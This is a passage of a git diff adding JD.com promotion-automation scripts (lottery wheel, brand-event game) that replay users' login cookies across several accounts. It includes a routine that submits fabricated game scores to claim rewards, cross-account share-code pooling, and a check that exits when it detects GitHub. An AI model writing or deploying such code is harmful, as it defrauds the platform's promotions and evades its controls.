t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_market_lottery.js b/Task/jd_market_lottery.js
new file mode 100644
index 0000000..6945b2a
--- /dev/null
+++ b/Task/jd_market_lottery.js
@@ -0,0 +1,188 @@
+// author: 疯疯
+/*
+幸运大转盘
+活动地址:https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html
+脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js
+==============Quantumult X==============
+[task_local]
+#幸运大转盘
+4 10 * * * jd_market_lottery.js, tag=幸运大转盘, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+==============Loon==============
+[Script]
+cron "4 10 * * *" script-path=jd_market_lottery.js,tag=幸运大转盘
+
+================Surge===============
+幸运大转盘 = type=cron,cronexp="4 10 * * *",wake-system=1,timeout=3600,script-path=jd_market_lottery.js
+
+===============小火箭==========
+幸运大转盘 = type=cron,script-path=jd_market_lottery.js, cronexpr="4 10 * * *", timeout=3600, enable=true
+*/
+
+const $ = new Env("幸运大转盘");
+const jdCookieNode = $.isNode() ? require("./jdCookie.js") : "";
+let cookiesArr = [],
+ cookie = "",
+ allMsg = '';
+
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item]);
+ });
+ console.log(`如果出现提示 ?.data. 错误,请升级nodejs版本(进入容器后,apk add nodejs-current)`)
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {};
+} else {
+ cookiesArr = [
+ $.getdata("CookieJD"),
+ $.getdata("CookieJD2"),
+ ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item);
+}
+const JD_API_HOST = "https://api.m.jd.com/client.action";
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg(
+ $.name,
+ "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取",
+ "https://bean.m.jd.com/",
+ {"open-url": "https://bean.m.jd.com/"}
+ );
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(
+ cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]
+ );
+ $.index = i + 1;
+ console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`);
+ await main()
+ }
+ }
+ await showMsg()
+})()
+ .catch((e) => {
+ $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, "");
+ })
+ .finally(() => {
+ $.done();
+ });
+function showMsg() {
+ return new Promise(async resolve => {
+ if (allMsg) $.msg($.name, '', allMsg);
+ resolve();
+ })
+}
+async function main() {
+ await getInfo('https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html')
+ await getInfo('https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html')
+}
+async function getInfo(url) {
+ return new Promise(resolve=>{
+ $.get({
+ url,
+ headers:{
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ },async (err,resp,data)=>{
+ try{
+ if(err){
+
+ }else{
+ data = $.toObj(data.match(/window.__react_data__ = (\{.*\})/)[1])
+ let taskList = data?.activityData?.floorList?.filter(vo=>vo.template==='score_task')[0]
+ //console.log(data?.activityData?.floorList)
+ for(let vo of taskList['taskItemList']){
+ for(let i = vo.joinTimes; i< vo.taskLimit;++i){
+ console.log(`去完成${vo?.flexibleData?.taskName ?? vo.enAwardK}任务,第${i+1}次`)
+ await doTask(vo.enAwardK)
+ await $.wait(500)
+ }
+ }
+ let lottery = data?.activityData?.floorList?.filter(vo=>vo.template==='choujiang_wheel')[0]
+ //console.log(lottery)
+ const {userScore,lotteryScore} = lottery.lotteryGuaGuaLe
+ if(lotteryScore<=userScore) {
+ console.log(`抽奖需要${lotteryScore},当前${userScore}分,去抽奖`)
+ await doLottery("a84f9428da0bb36a6a11884c54300582")
+ } else {
+ console.log(`当前积分已不足去抽奖`)
+ }
+ }
+ }catch (e) {
+
+ }finally {
+ resolve()
+ }
+
+ })
+ })
+}
+function doTask(enAwardK) {
+ return new Promise(resolve => {
+ $.post(taskUrl('babelDoScoreTask',{enAwardK,"isQueryResult":0,"siteClient":"apple","mitemAddrId":"","geo":{"lng":"","lat":""},"addressId":"","posLng":"","posLat":"","homeLng":"","homeLat":"","focus":"","innerAnchor":"","cv":"2.0"}),
+ (err,resp,data)=>{
+ try{
+ if(err){
+
+ }else{
+ data = $.toObj(data)
+ console.log(data.promptMsg)
+ }
+ }catch (e) {
+
+ }finally {
+ resolve()
+ }
+ })
+ })
+}
+function doLottery(enAwardK,authType="2") {
+ return new Promise(resolve => {
+ $.post(taskUrl('babelGetLottery',{enAwardK,authType}),
+ (err,resp,data)=>{
+ try{
+ if(err){
+
+ }else{
+ data = $.toObj(data)
+ console.log(data.promptMsg)
+ allMsg += `【京东账号${$.index}】${$.UserName}:${data.promptMsg}\n`
+ }
+ }catch (e) {
+
+ }finally {
+ resolve()
+ }
+ })
+ })
+}
+function taskUrl(function_id, body = {}) {
+ return {
+ url: `${JD_API_HOST}/client.action?functionId=${function_id}`,
+ body: `body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`,
+ headers: {
+ "Cookie": cookie,
+ "origin": "https://h5.m.jd.com",
+ "referer": "https://h5.m.jd.com/",
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+}
+
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_mcxhd.js b/Task/jd_mcxhd.js
new file mode 100644
index 0000000..7ea794f
--- /dev/null
+++ b/Task/jd_mcxhd.js
@@ -0,0 +1,416 @@
+/*
+author:tg@chenxing666
+新潮品牌狂欢
+脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js
+==============Quantumult X==============
+[task_local]
+#新潮品牌狂欢
+4 10 * * * jd_mcxhd.js, tag=新潮品牌狂欢, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+==============Loon==============
+[Script]
+cron "4 10 * * *" script-path=jd_mcxhd.js,tag=新潮品牌狂欢
+
+================Surge===============
+新潮品牌狂欢 = type=cron,cronexp="4 10 * * *",wake-system=1,timeout=3600,script-path=jd_mcxhd.js
+
+===============小火箭==========
+新潮品牌狂欢 = type=cron,script-path=jd_mcxhd.js, cronexpr="4 10 * * *", timeout=3600, enable=true
+*/
+const $ = new Env('新潮品牌狂欢');
+
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '', message;
+
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {
+ };
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+
+const JD_API_HOST = 'https://api.m.jd.com/';
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"});
+ return;
+ }
+ $.shareCodeList = []
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.beans = 0
+ $.nickName = '';
+ message = '';
+ await TotalBean();
+ console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ } else {
+ $.setdata('', `CookieJD${i ? i + 1 : ""}`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。
+ }
+ continue
+ }
+ await superBox()
+ await showMsg();
+ }
+ }
+ console.log(`\n开始自己京东内部相互助力\n`);
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ for (let vo of $.shareCodeList) {
+ if (!vo) continue;
+ await doTask(vo)
+ }
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+function showMsg() {
+ message += `本次运行获得${$.earn}京豆`
+ return new Promise(resolve => {
+ $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`);
+ resolve()
+ })
+}
+
+
+async function superBox() {
+ $.earn = 0
+ await taskList()
+ $.canDo = true
+ while($.canDo){
+ await startGame()
+ }
+}
+
+function doTask(itemToken,taskToken=null) {
+ let body = {"itemToken":itemToken}
+ return new Promise(resolve => {
+ $.get(taskUrl('doTask', body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+
+ if (data.retCode === '200') {
+ console.log(`任务完成成功`)
+ if(taskToken) {
+ await queryTask(taskToken)
+ await $.wait(5*1000)
+ await viewTask(taskToken)
+ await checkTask(itemToken)
+ }
+ } else {
+ console.log(`任务完成失败,${data.retMessage}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function queryTask(taskToken){
+ return new Promise(resolve => {
+ $.get({
+ url: `https://api.m.jd.com/?client=wh5&clientVersion=1.0.0&functionId=queryVkComponent&body={%22businessId%22:%22chanyedai%22,%22componentId%22:%22f6e2c64666f54b46868496f290f181e6%22,%22taskParam%22:%22%257B%2522taskToken%2522%3A%2522${taskToken}%2522%257D%22}&_timestamp=${+new Date()}`,
+ headers: {
+ 'Host': 'api.m.jd.com',
+ 'Origin': 'https://h5.m.jd.com',
+ 'Accept': '*/*',
+ 'User-Agent': 'jdapp;iPhone;10.0.2;14.5.1;appBuild/167688;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1',
+ 'Accept-Language': 'zh-cn',
+ 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/3fHfkJDWEckhqH73tRgUgxmg8U9S/index.html',
+ Cookie: cookie
+ }
+ }, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function viewTask(taskToken){
+ const body = {
+ "dataSource": "newshortAward",
+ "method": "getTaskAward",
+ "reqParams": JSON.stringify({"taskToken": taskToken}),
+ "sdkVersion": "1.0.0",
+ "clientLanguage": "zh"
+ }
+ return new Promise(resolve => {
+ $.get({
+ url: `https://api.m.jd.com/?client=wh5&clientVersion=1.0.0&functionId=qryViewkitCallbackResult&body=${escape(JSON.stringify(body))}&_timestamp=${+new Date()}`,
+ headers: {
+ 'Host': 'api.m.jd.com',
+ 'Origin': 'https://h5.m.jd.com',
+ 'Accept': '*/*',
+ 'User-Agent': 'jdapp;iPhone;10.0.2;14.5.1;appBuild/167688;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1',
+ 'Accept-Language': 'zh-cn',
+ 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/3fHfkJDWEckhqH73tRgUgxmg8U9S/index.html',
+ Cookie: cookie
+ }
+ }, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function checkTask(itemToken) {
+ let body = {"itemToken":itemToken}
+ return new Promise(resolve => {
+ $.get(taskUrl('checkTaskStatus', body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.retCode === '200') {
+ console.log(`任务完成成功`)
+ } else {
+ console.log(`任务完成失败,${data.retMessage}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function taskList() {
+ return new Promise(resolve => {
+ $.get(taskUrl('taskList'), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.retCode === '200') {
+ for(let vo of data.result.tasks){
+ if(vo.times < vo.maxTimes)
+ for(let bo of vo.subItem){
+ if (vo.taskType === '6'){
+ const shareCode = bo.itemToken
+ console.log(`好友助力码:${shareCode}`)
+ if (shareCode) $.shareCodeList.push(shareCode)
+ }
+ else if(vo.taskType!=='9') {
+ await doTask(bo.itemToken)
+ }
+ else{
+ await doTask(bo.itemToken,bo.taskToken)
+ }
+ }
+ }
+ } else {
+ console.log(`抽奖失败`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function startGame() {
+ return new Promise(resolve => {
+ $.get(taskUrl('startGame'), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.retCode === '200') {
+ console.log(`游戏开始成功`)
+ await $.wait(10*1000)
+ await reportGame(data.result.passScore + 2)
+ } else {
+ // if (data.retCode === '1102') $.canDo = false
+ console.log(`游戏开始失败`, JSON.stringify(data))
+ $.canDo = false
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function reportGame(score) {
+ return new Promise(resolve => {
+ $.get(taskUrl('reportGame',{score:score}), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.retCode === '200') {
+ const earn = data?.result?.gift?.jbeanNum ?? 0
+ $.earn += earn
+ console.log(`游戏结束成功,获得 ${earn} 京豆`)
+ } else {
+ console.log(data.retMessage)
+ $.canDo = false
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function taskUrl(function_id, body = {}) {
+ body['token'] = 'jd17919499fb7031e5'
+ return {
+ url: `${JD_API_HOST}/client.action?functionId=mcxhd_brandcity_${function_id}&appid=publicUseApi&body=${escape(JSON.stringify(body))}&t=${+ new Date()}&client=wh5&clientVersion=1.0.0&sid=&uuid=`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Referer": "https://h5.m.jd.com/babelDiy/Zeus/31LKY9sFZZUvj5aN1TrZUE4V6xzQ/index.html",
+ "Cookie": cookie,
